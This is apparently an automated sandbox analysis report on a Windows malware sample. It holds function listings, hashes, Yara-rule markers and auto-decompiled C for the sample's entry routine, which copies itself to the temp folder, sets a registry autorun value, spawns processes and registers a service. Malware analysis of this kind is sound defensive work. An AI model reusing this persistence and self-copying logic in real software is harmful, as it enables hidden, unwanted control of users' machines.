__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction ID: 8be47f3b34078369494427b808028aef413607e7a0f6c687f150cca5f1db1173
Opcode Fuzzy Hash: bc98bb75e67b5d3c861859ba291d6a8334d94db909cf655fd68fd7fe866595fc
Instruction Fuzzy Hash: A241F3B1E102299FDB24CF58D941BAFB7B5BF89314F1051DAE148AB241C7789E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 00435CCC, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction ID: c6f784ded8cdb49d373c085947d5444d3394d07df3f20628c96ba8fba7acd4dc
Opcode Fuzzy Hash: 91a2fdda568f9633d7d35843e0fea8d961634504dd788a3b3972241eb36542ec
Instruction Fuzzy Hash: 6841D771D15629DFDB24CF59CC8ABAEB7B5FB48304F14959AD019A7240D7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043D0E4, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction ID: d1c5ec1ddf94f893c60630676f7cb5672a5d60bde73006aa23fd70ede6fae4d3
Opcode Fuzzy Hash: 085f023d9dc05231cb64ef8825d8687272fb25f633ce9218f7bf6c16918eccab
Instruction Fuzzy Hash: 1F41E4B1E001299FDB24CF48D981BAFB7B5FB89314F1055D9E149A7241C7389E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435C7B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

9, xrefs: 00435EF8

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction ID: 29914041c14e1edd09314d4cffaf7c31213abb823a699583a1712579103050a1
Opcode Fuzzy Hash: 0f046a36f87634a8912633206b682aa4f0878c990d5c58af0e404ed860efed0c
Instruction Fuzzy Hash: F741E7B1D05628DFDB24CF59CC89BAEB7B5BB48304F2095DAE009A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D08D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D2E0
__aulldiv.LIBCMT ref: 0043D302

Strings

9, xrefs: 0043D313

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction ID: c7a6d1ed8c7b87a1eb9e5ef3806afd654882af45eaad0317b6b997c3200a8b7f
Opcode Fuzzy Hash: 8094e93eaf262afb1787122b3c5246880444f9b42bc9ea20a1ec68635b1429c6
Instruction Fuzzy Hash: 8E41F4B1E001299FDB24CF48D981BAFB7B5BB89314F1051DAA148A7241C7389E81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00582620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00582D62), ref: 00582694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00582D62), ref: 005826A2

Part of subcall function 005818C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-X,?,?,?,?,?,?,00582D62), ref: 005818CE

Part of subcall function 00581880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005818AC

Strings

b-X, xrefs: 005826A8, 005826FD, 005826AB

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-X
API String ID: 568878067-4052239733
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: 09e5ad41a05606b84fc8a1a70592d5149a26aa131ac2dadec7df9421fbc84e9e
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: ED31A2B99002099FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00576D80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,`Sx), ref: 00576D8D
GetLastError.KERNEL32 ref: 00576D93

Strings

`Sx, xrefs: 00576D83, 00576D88

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: `Sx
API String ID: 1925916568-2027873707
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 2ddaeaec14b0aada7d123d30902edc1bb7ed0fd354f09f1c173161930c482241
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 9BD0127437A605EBE7601794FD49BB53B99E784701F248C31F10DC9192C655FC90562A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,b6X,?,0057B7ED,b6X,00000009,?,00583662,00000009), ref: 0057B8F9
RtlAllocateHeap.NTDLL(00000000,?,0057B7ED), ref: 0057B900

Strings

b6X, xrefs: 0057B8F3, 0057B8F6

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID: b6X
API String ID: 1357844191-2603816526
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: BE39.exe PID: 6616 Parent PID: 3352 BE39.exeCOMMON

Executed Functions

Function 00409A6B, Relevance: 102.3, APIs: 48, Strings: 10, Instructions: 799
stringsleepregistryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			_entry_(CHAR* _a12, void* _a15) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				union _GET_FILEEX_INFO_LEVELS _v36;
				CHAR* _v40;
				char _v44;
				char _v48;
				struct _PROCESS_INFORMATION _v64;
				char _v80;
				char _v112;
				char _v371;
				char _v372;
				char _v671;
				char _v672;
				char _v704;
				struct _STARTUPINFOA _v772;
				char _v1271;
				char _v1272;
				char _v1672;
				char _t238;
				long _t239;
				char _t242;
				long _t244;
				CHAR* _t248;
				char _t250;
				intOrPtr _t257;
				char _t267;
				intOrPtr* _t272;
				char _t276;
				char _t279;
				char _t282;
				char _t283;
				void* _t284;
				char _t294;
				CHAR* _t303;
				int _t304;
				char _t309;
				CHAR* _t312;
				char _t318;
				int _t324;
				CHAR* _t325;
				char _t328;
				char* _t331;
				char _t332;
				char _t340;
				char _t344;
				CHAR* _t357;
				CHAR* _t358;
				int _t359;
				int _t373;
				long _t379;
				void* _t383;
				void* _t396;
				void* _t401;
				char _t402;
				char _t403;
				intOrPtr* _t410;
				void* _t411;
				char _t417;
				char _t418;
				void* _t424;
				intOrPtr _t426;
				void* _t428;
				char* _t436;
				intOrPtr _t441;
				CHAR* _t442;
				void* _t450;
				void* _t451;
				char _t459;
				void* _t464;
				void* _t465;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t470;
				void* _t471;
				void* _t474;
				intOrPtr _t475;

				SetErrorMode(3); // executed
				SetErrorMode(3); // executed
				SetUnhandledExceptionFilter(E00406511); // executed
				E0040EC54(); // executed
				_t475 =  *0x41201f; // 0x0
				if(_t475 != 0) {
					__eflags =  *0x4133d8;
					if(__eflags == 0) {
						L126:
						CreateThread(0, 0, E0040405E, 0, 0, 0);
						__imp__#115(0x1010,  &_v1672);
						E0040E52E(_t449, __eflags);
						E0040EAAF(1, 0);
						E00401D96(_t438, 0x412118);
						E004080C9(_t438);
						CreateThread(0, 0, E0040877E, 0, 0, 0);
						E00405E6C(__eflags);
						E00403132();
						E0040C125(__eflags);
						E00408DB1(_t438);
						Sleep(0xbb8);
						E0040C4EE();
						while(1) {
							__eflags =  *0x4133d0;
							if( *0x4133d0 == 0) {
								goto L129;
							}
							_t239 = GetTickCount();
							__eflags = _t239 -  *0x4133d0 - 0x186a0;
							if(_t239 -  *0x4133d0 < 0x186a0) {
								L131:
								Sleep(0x2710);
								continue;
							}
							L129:
							_t238 = E0040C913();
							__eflags = _t238;
							if(_t238 == 0) {
								 *0x4133d0 = GetTickCount();
							}
							goto L131;
						}
					}
					_a12 = 0xa;
					while(1) {
						_t242 = DeleteFileA(0x4133d8);
						__eflags = _t242;
						if(_t242 != 0) {
							break;
						}
						__eflags = _a12;
						if(_a12 <= 0) {
							break;
						}
						_t244 = GetLastError();
						__eflags = _t244 - 2;
						if(_t244 == 2) {
							break;
						}
						_t219 =  &_a12;
						 *_t219 = _a12 - 1;
						__eflags =  *_t219;
						Sleep(0x3e8);
					}
					E0040EE2A(_t438, 0x4133d8, 0, 0x104);
					_t465 = _t465 + 0xc;
					goto L126;
				} else {
					_v12 = 0;
					if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) == 0) {
						_v672 = 0;
					}
					if(_v672 == 0x22) {
						E0040EF00( &_v672,  &_v671);
						_t436 = E0040ED23( &_v672, 0x22);
						_t465 = _t465 + 0x10;
						if(_t436 != 0) {
							 *_t436 = 0;
						}
					}
					_t248 = GetCommandLineA();
					_t459 = 0x4122f8;
					_a12 = _t248;
					_t250 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a48, 4, 0xe4, 0xc8));
					_t454 = 0x100;
					_v8 = _t250;
					E0040EE2A(_t438, 0x4122f8, 0, 0x100);
					_t467 = _t465 + 0x28;
					if(_v8 == 0) {
						_t257 = E004096AA( &_v672,  &_v48,  &_v44,  &_v372,  &_v112); // executed
						_t467 = _t467 + 0x14;
						_v16 = _t257;
						if(_t257 == 0) {
							E0040EF00(0x4121a8,  &_v672);
							_pop(_t438);
							_a12 = GetCommandLineA();
							_v8 = E0040EE95(_a12, E00402544(0x4122f8, 0x410a38, 4, 0xe4, 0xc8));
							E0040EE2A(_t438, 0x4122f8, 0, 0x100);
							_t468 = _t467 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								L102:
								_v8 = E0040EE95(_a12, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
								E0040EE2A(_t438, _t459, 0, _t454);
								_t467 = _t468 + 0x28;
								__eflags = _v8;
								if(_v8 == 0) {
									L110:
									_t267 = E00406EC3();
									__eflags = _t267;
									if(_t267 != 0) {
										E004098F2(_t438);
										L19:
										ExitProcess(0); // executed
									}
									__eflags = _v372;
									if(_v372 == 0) {
										L116:
										 *0x4133b0 = 0;
										L117:
										_v64.hProcess =  &_v372;
										_v64.hThread = E00409961;
										_v64.dwProcessId = 0;
										_v64.dwThreadId = 0;
										StartServiceCtrlDispatcherA( &_v64);
										goto L19;
									}
									_t272 =  &_v372;
									_t449 = _t272 + 1;
									do {
										_t438 =  *_t272;
										_t272 = _t272 + 1;
										__eflags = _t438;
									} while (_t438 != 0);
									__eflags = _t272 - _t449 - 0x20;
									if(_t272 - _t449 >= 0x20) {
										goto L116;
									}
									E0040EF00(0x4133b0,  &_v372);
									_pop(_t438);
									goto L117;
								}
								_t459 = _v8 + 3;
								_t276 = E0040ED03(_t459, 0x20);
								_pop(_t438);
								__eflags = _t276;
								if(_t276 != 0) {
									L107:
									_t454 = _t276 - _t459;
									__eflags = _t454 - 0x20;
									if(_t454 >= 0x20) {
										_t454 = 0x1f;
									}
									E0040EE08(0x412184, _t459, _t454);
									_t467 = _t467 + 0xc;
									 *((char*)(_t454 + 0x412184)) = 0;
									goto L110;
								}
								_t279 = _t459;
								_t449 = _t279 + 1;
								do {
									_t438 =  *_t279;
									_t279 = _t279 + 1;
									__eflags = _t438;
								} while (_t438 != 0);
								_t276 = _t279 - _t449 + _t459;
								__eflags = _t276;
								goto L107;
							}
							_t282 = _v8 + 3;
							_v672 = 0;
							__eflags =  *_t282 - 0x22;
							_v20 = _t282;
							if( *_t282 != 0x22) {
								_t283 = E0040ED03(_v20, 0x20);
								_pop(_t438);
								__eflags = _t283;
								if(_t283 == 0) {
									_t283 =  &(_a12[lstrlenA(_a12)]);
									__eflags = _t283;
								}
								_t284 = _t283 - _v8;
								_v24 = _t284;
								__eflags = _t284 + 0xfffffffd;
								E0040EE08( &_v672, _v20, _t284 + 0xfffffffd);
								 *((char*)(_t464 + _v24 - 0x29f)) = 0;
								L98:
								_t468 = _t468 + 0xc;
								L99:
								__eflags = _v672;
								if(_v672 != 0) {
									E0040EE08(0x4133d8,  &_v672, 0x103);
									_t468 = _t468 + 0xc;
								}
								 *0x412cc0 = 1;
								goto L102;
							}
							_v20 = _v8 + 4;
							_t294 = E0040ED03(_v8 + 4, 0x22);
							_pop(_t438);
							__eflags = _t294;
							if(_t294 == 0) {
								goto L99;
							}
							_v24 = _t294 - _v8;
							E0040EE08( &_v672, _v20, _t294 - _v8 + 0xfffffffc);
							 *((char*)(_t464 + _v24 - 0x2a0)) = 0;
							goto L98;
						}
						_v36 = 0;
						if(_t257 >= 4 || _v48 > 0x61 && _v44 != 0) {
							L84:
							if(GetModuleFileNameA(GetModuleHandleA(0),  &_v672, 0x12c) != 0) {
								_t303 =  &_v672;
								if(_v672 == 0x22) {
									_t303 =  &_v671;
								}
								if(_t303[1] == 0x3a && _t303[2] == 0x5c) {
									_t303[3] = 0;
									_t304 = GetDriveTypeA(_t303);
									_t515 = _t304 - 2;
									if(_t304 != 2) {
										E00409145(_t515);
										_t438 = 1;
									}
								}
							}
							goto L19;
						} else {
							E00404280(_t438, 1); // executed
							_pop(_t438);
							if(_v672 == 0) {
								goto L84;
							}
							_t309 = E0040675C( &_v672,  &_v12, 0); // executed
							_t467 = _t467 + 0xc;
							_v8 = _t309;
							if(_t309 == 0 || _v12 == 0) {
								goto L84;
							} else {
								_v32 = 0;
								_v28 = 0;
								if(_v16 == 2) {
									L55:
									__eflags = _v16 - 3;
									if(_v16 >= 3) {
										L83:
										E0040EC2E(_v8);
										_pop(_t438);
										if(_v36 != 0) {
											goto L19;
										}
										goto L84;
									}
									_t312 = E00402544(_t459, 0x410a3c, 0xc, 0xe4, 0xc8);
									_t469 = _t467 + 0x14;
									__eflags = GetEnvironmentVariableA(_t312,  &_v1272, 0x1f4);
									if(__eflags == 0) {
										L82:
										E0040EE2A(_t438, _t459, 0, _t454);
										_t467 = _t469 + 0xc;
										goto L83;
									}
									_t318 = E004099D2(_t449, __eflags,  &_v1272,  &_v672,  &_v704, _v8, _v12);
									_t469 = _t469 + 0x14;
									__eflags = _t318;
									if(_t318 == 0) {
										goto L82;
									}
									E0040EE2A(_t438, _t459, 0, _t454);
									_t470 = _t469 + 0xc;
									_v1272 = 0x22;
									lstrcpyA( &_v1271,  &_v672);
									_t324 = lstrlenA( &_v1272);
									 *((char*)(_t464 + _t324 - 0x4f4)) = 0x22;
									_t325 = _t324 + 1;
									__eflags = _v16 - 2;
									_a12 = _t325;
									 *((char*)(_t464 + _t325 - 0x4f4)) = 0;
									if(_v16 != 2) {
										L60:
										_push(0);
										_push( &_v112);
										_t328 = E00406DC2(_t438) ^ 0x61616161;
										__eflags = _t328;
										_push(_t328);
										E0040F133();
										_t470 = _t470 + 0xc;
										L61:
										_t331 = E00402544(_t459,  &E004106AC, 0x2e, 0xe4, 0xc8);
										_t471 = _t470 + 0x14;
										_t332 = RegOpenKeyExA(0x80000001, _t331, 0, 0x103,  &_v24);
										_v20 = _t332;
										__eflags = _t332;
										if(_t332 == 0) {
											_t373 =  &(_a12[1]);
											__eflags = _t373;
											_v20 = RegSetValueExA(_v24,  &_v112, 0, 1,  &_v1272, _t373);
											RegCloseKey(_v24);
										}
										E0040EE2A(_t438, _t459, 0, _t454);
										E0040EE2A(_t438,  &_v772, 0, 0x44);
										_v772.cb = 0x44;
										E0040EE2A(_t438,  &_v64, 0, 0x10);
										_t469 = _t471 + 0x24;
										_t340 = GetModuleFileNameA(GetModuleHandleA(0),  &_v372, 0x104);
										__eflags = _t340;
										if(_t340 != 0) {
											__eflags = _v372 - 0x22;
											_t357 =  &_v372;
											_v40 = _t357;
											if(_v372 == 0x22) {
												_t357 =  &_v371;
												_v40 = _t357;
											}
											__eflags =  *((char*)(_t357 + 1)) - 0x3a;
											if( *((char*)(_t357 + 1)) == 0x3a) {
												__eflags =  *((char*)(_t357 + 2)) - 0x5c;
												if( *((char*)(_t357 + 2)) == 0x5c) {
													_t358 = _v40;
													_t438 = _t358[3];
													_a15 = _t358[3];
													_t358[3] = 0;
													_t359 = GetDriveTypeA(_t358);
													__eflags = _t359 - 2;
													if(_t359 != 2) {
														_t438 = _v40;
														_v40[3] = _a15;
														lstrcatA( &_v1272, E00402544(_t459, 0x410a38, 4, 0xe4, 0xc8));
														E0040EE2A(_v40, _t459, 0, _t454);
														_t469 = _t469 + 0x20;
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														lstrcatA( &_v1272,  &_v372);
														__eflags = _v372 - 0x22;
														if(_v372 != 0x22) {
															lstrcatA( &_v1272, "\"");
														}
														_v36 = 1;
													}
												}
											}
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags = _v28;
											if(_v28 != 0) {
												wsprintfA( &_v372, "%X%08X", _v28, _v32);
												lstrcatA( &_v1272, E00402544(_t459, 0x410a28, 4, 0xe4, 0xc8));
												E0040EE2A(_t438, _t459, 0, _t454);
												_t469 = _t469 + 0x30;
												lstrcatA( &_v1272,  &_v372);
											}
										}
										_t344 = CreateProcessA(0,  &_v1272, 0, 0, 0, 0x8000000, 0, 0,  &_v772,  &_v64);
										__eflags = _t344;
										if(_t344 == 0) {
											DeleteFileA( &_v672);
											_v36 = 0;
										}
										__eflags = _v16 - 1;
										if(_v16 == 1) {
											__eflags = _v20;
											if(_v20 == 0) {
												E004096FF(_t438);
											}
										}
										goto L82;
									}
									__eflags = _v112;
									if(_v112 != 0) {
										goto L61;
									}
									goto L60;
								}
								_t379 = GetTempPathA(0x1f4,  &_v1272);
								_t494 = _t379;
								if(_t379 == 0) {
									goto L55;
								}
								_t383 = E004099D2(_t449, _t494,  &_v1272,  &_v672,  &_v704, _v8, _v12); // executed
								_t467 = _t467 + 0x14;
								if(_t383 == 0) {
									goto L55;
								}
								_v80 = 0;
								if(_v16 < 3 || _v372 == 0) {
									_push(0);
									_push( &_v80);
									_push(E00406DC2(_t438) ^ 0x61616161);
									E0040F133();
									_t474 = _t467 + 0xc;
									lstrcpyA( &_v372, E00406CC9(_t438));
									lstrcatA( &_v372,  &_v80);
									lstrcatA( &_v372,  &E0041070C);
									_t396 = 0;
									__eflags = 0;
									goto L43;
								} else {
									_t410 =  &_v372;
									_t450 = _t410 + 1;
									do {
										_t441 =  *_t410;
										_t410 = _t410 + 1;
									} while (_t441 != 0);
									_t411 = _t410 - _t450;
									if(_t411 > 0 &&  *((char*)(_t464 + _t411 - 0x171)) == 0x5c) {
										_t411 = _t411 - 1;
									}
									_t451 = _t411;
									if(_t411 <= 0) {
										L41:
										_t449 = _t451 - _t411;
										_a12 = _t451 - _t411;
										E0040EE08( &_v80, _t464 + _t411 - 0x170, _t451 - _t411);
										 *((char*)(_t464 + _a12 - 0x4c)) = 0;
										_t474 = _t467 + 0xc;
										_t396 = 1;
										L43:
										if(_v44 == 0 || _v48 < 0x50) {
											_t438 = 1;
											__eflags = 1;
										} else {
											_t438 = 0;
										}
										_push(_t438);
										_push(_t396);
										_push( &_v372);
										_push( &_v80);
										_push( &_v672);
										_push( &_v704);
										_t401 = E00409326(_t438, _t449);
										_t467 = _t474 + 0x18;
										if(_t401 == 0) {
											_t402 =  *0x41217c; // 0x0
											_v32 = _t402;
											_t403 =  *0x412180; // 0x0
											goto L54;
										} else {
											if(GetFileAttributesExA( &_v672, 0,  &(_v772.dwXCountChars)) != 0) {
												_t403 = 0x61080108;
												 *0x412180 = 0x61080108;
												 *0x41217c = 0;
												_v32 = 0;
												L54:
												_v28 = _t403;
												DeleteFileA( &_v672);
												goto L55;
											}
											_t459 = 1;
											if(_v16 == 1) {
												E004096FF(_t438);
											}
											_v36 = _t459;
											goto L83;
										}
									} else {
										_t442 =  &_v372;
										while( *((char*)(_t442 + _t411 - 1)) != 0x5c) {
											_t411 = _t411 - 1;
											if(_t411 > 0) {
												continue;
											}
											goto L41;
										}
										goto L41;
									}
								}
							}
						}
					}
					_t417 = _v8;
					_t454 = _t417 + 3;
					_v372 = 0;
					if( *((char*)(_t417 + 3)) != 0x22) {
						_t418 = E0040ED03(_t454, 0x20);
						_pop(_t438);
						__eflags = _t418;
						if(_t418 == 0) {
							_t418 =  &(_a12[lstrlenA(_a12)]);
							__eflags = _t418;
						}
						_t459 = _t418 - _v8;
						__eflags = _t459;
						E0040EE08( &_v372, _t454, _t459 - 3);
						 *((char*)(_t464 + _t459 - 0x173)) = 0;
						L13:
						_t467 = _t467 + 0xc;
						L14:
						if(_v372 != 0 && _v672 != 0) {
							_t424 = E0040675C( &_v672,  &_v12, 0);
							_t467 = _t467 + 0xc;
							if(_t424 != 0 && _v12 != 0) {
								_t426 = E00406A60(_t449,  &_v372, _t424, _v12);
								_t467 = _t467 + 0xc;
								_v12 = _t426;
							}
						}
						goto L19;
					}
					_t454 = _t417 + 4;
					_t428 = E0040ED03(_t417 + 4, 0x22);
					_pop(_t438);
					if(_t428 == 0) {
						goto L14;
					} else {
						_t459 = _t428 - _v8;
						E0040EE08( &_v372, _t454, _t459 - 4);
						 *((char*)(_t464 + _t459 - 0x174)) = 0;
						goto L13;
					}
				}
			}

0x00409a7f
0x00409a83
0x00409a8a
0x00409a90
0x00409a97
0x00409a9d
0x0040a3cc
0x0040a3d2
0x0040a41c
0x0040a42c
0x0040a43a
0x0040a440
0x0040a448
0x0040a452
0x0040a45a
0x0040a469
0x0040a46b
0x0040a470
0x0040a475
0x0040a47a
0x0040a48a
0x0040a48c
0x0040a497
0x0040a497
0x0040a49d
0x00000000
0x00000000
0x0040a49f
0x0040a4a7
0x0040a4ac
0x0040a4be
0x0040a4c3
0x00000000
0x0040a4c3
0x0040a4ae
0x0040a4ae
0x0040a4b3
0x0040a4b5
0x0040a4b9
0x0040a4b9
0x00000000
0x0040a4b5
0x0040a497
0x0040a3da
0x0040a406
0x0040a407
0x0040a409
0x0040a40b
0x00000000
0x00000000
0x0040a3e8
0x0040a3eb
0x00000000
0x00000000
0x0040a3ed
0x0040a3f3
0x0040a3f6
0x00000000
0x00000000
0x0040a3f8
0x0040a3f8
0x0040a3f8
0x0040a400
0x0040a400
0x0040a414
0x0040a419
0x00000000
0x00409aa3
0x00409ab0
0x00409ac2
0x00409ac4
0x00409ac4
0x00409ad1
0x00409ae1
0x00409aef
0x00409af4
0x00409af9
0x00409afb
0x00409afb
0x00409af9
0x00409afd
0x00409b14
0x00409b1a
0x00409b26
0x00409b2b
0x00409b33
0x00409b36
0x00409b3b
0x00409b41
0x00409c26
0x00409c2b
0x00409c2e
0x00409c33
0x0040a1de
0x0040a1e4
0x0040a1fd
0x0040a211
0x0040a214
0x0040a219
0x0040a21c
0x0040a21f
0x0040a2e2
0x0040a305
0x0040a308
0x0040a30d
0x0040a310
0x0040a313
0x0040a35a
0x0040a35a
0x0040a35f
0x0040a361
0x0040a3c2
0x00409c05
0x00409c06
0x00409c06
0x0040a363
0x0040a369
0x0040a397
0x0040a397
0x0040a39d
0x0040a3a3
0x0040a3aa
0x0040a3b1
0x0040a3b4
0x0040a3b7
0x00000000
0x0040a3b7
0x0040a36b
0x0040a371
0x0040a374
0x0040a374
0x0040a376
0x0040a377
0x0040a377
0x0040a37d
0x0040a380
0x00000000
0x00000000
0x0040a38e
0x0040a394
0x00000000
0x0040a394
0x0040a318
0x0040a31e
0x0040a324
0x0040a325
0x0040a327
0x0040a339
0x0040a33b
0x0040a33d
0x0040a340
0x0040a344
0x0040a344
0x0040a34c
0x0040a351
0x0040a354
0x00000000
0x0040a354
0x0040a329
0x0040a32b
0x0040a32e
0x0040a32e
0x0040a330
0x0040a331
0x0040a331
0x0040a337
0x0040a337
0x00000000
0x0040a337
0x0040a228
0x0040a22b
0x0040a231
0x0040a234
0x0040a237
0x0040a27a
0x0040a280
0x0040a281
0x0040a283
0x0040a28e
0x0040a28e
0x0040a28e
0x0040a291
0x0040a294
0x0040a297
0x0040a2a5
0x0040a2ad
0x0040a2b4
0x0040a2b4
0x0040a2b7
0x0040a2b7
0x0040a2bd
0x0040a2d0
0x0040a2d5
0x0040a2d5
0x0040a2d8
0x00000000
0x0040a2d8
0x0040a242
0x0040a245
0x0040a24b
0x0040a24c
0x0040a24e
0x00000000
0x00000000
0x0040a253
0x0040a264
0x0040a26c
0x00000000
0x0040a26c
0x00409c39
0x00409c3f
0x0040a167
0x0040a183
0x0040a190
0x0040a196
0x0040a198
0x0040a198
0x0040a1a2
0x0040a1b3
0x0040a1b6
0x0040a1bc
0x0040a1bf
0x0040a1c7
0x0040a1cc
0x0040a1cc
0x0040a1bf
0x0040a1a2
0x00000000
0x00409c54
0x00409c56
0x00409c5b
0x00409c62
0x00000000
0x00000000
0x00409c74
0x00409c79
0x00409c7c
0x00409c81
0x00000000
0x00409c90
0x00409c94
0x00409c97
0x00409c9a
0x00409e3e
0x00409e3e
0x00409e42
0x0040a155
0x0040a158
0x0040a15d
0x0040a161
0x00000000
0x00000000
0x00000000
0x0040a161
0x00409e66
0x00409e6b
0x00409e75
0x00409e77
0x0040a14a
0x0040a14d
0x0040a152
0x00000000
0x0040a152
0x00409e98
0x00409e9d
0x00409ea0
0x00409ea2
0x00000000
0x00000000
0x00409eab
0x00409eb0
0x00409ec1
0x00409ec8
0x00409ed5
0x00409edb
0x00409ee3
0x00409ee4
0x00409ee8
0x00409eeb
0x00409ef2
0x00409ef9
0x00409efc
0x00409efd
0x00409f03
0x00409f03
0x00409f08
0x00409f09
0x00409f0e
0x00409f11
0x00409f2d
0x00409f32
0x00409f3b
0x00409f41
0x00409f44
0x00409f46
0x00409f4b
0x00409f4b
0x00409f67
0x00409f6a
0x00409f6a
0x00409f73
0x00409f82
0x00409f8e
0x00409f98
0x00409f9d
0x00409fb4
0x00409fba
0x00409fbc
0x00409fc2
0x00409fc9
0x00409fcf
0x00409fd2
0x00409fd4
0x00409fda
0x00409fda
0x00409fdd
0x00409fe1
0x00409fe7
0x00409feb
0x00409ff1
0x00409ff4
0x00409ff8
0x00409ffb
0x00409ffe
0x0040a004
0x0040a007
0x0040a010
0x0040a025
0x0040a038
0x0040a041
0x0040a046
0x0040a049
0x0040a050
0x0040a05e
0x0040a05e
0x0040a072
0x0040a078
0x0040a07f
0x0040a08d
0x0040a08d
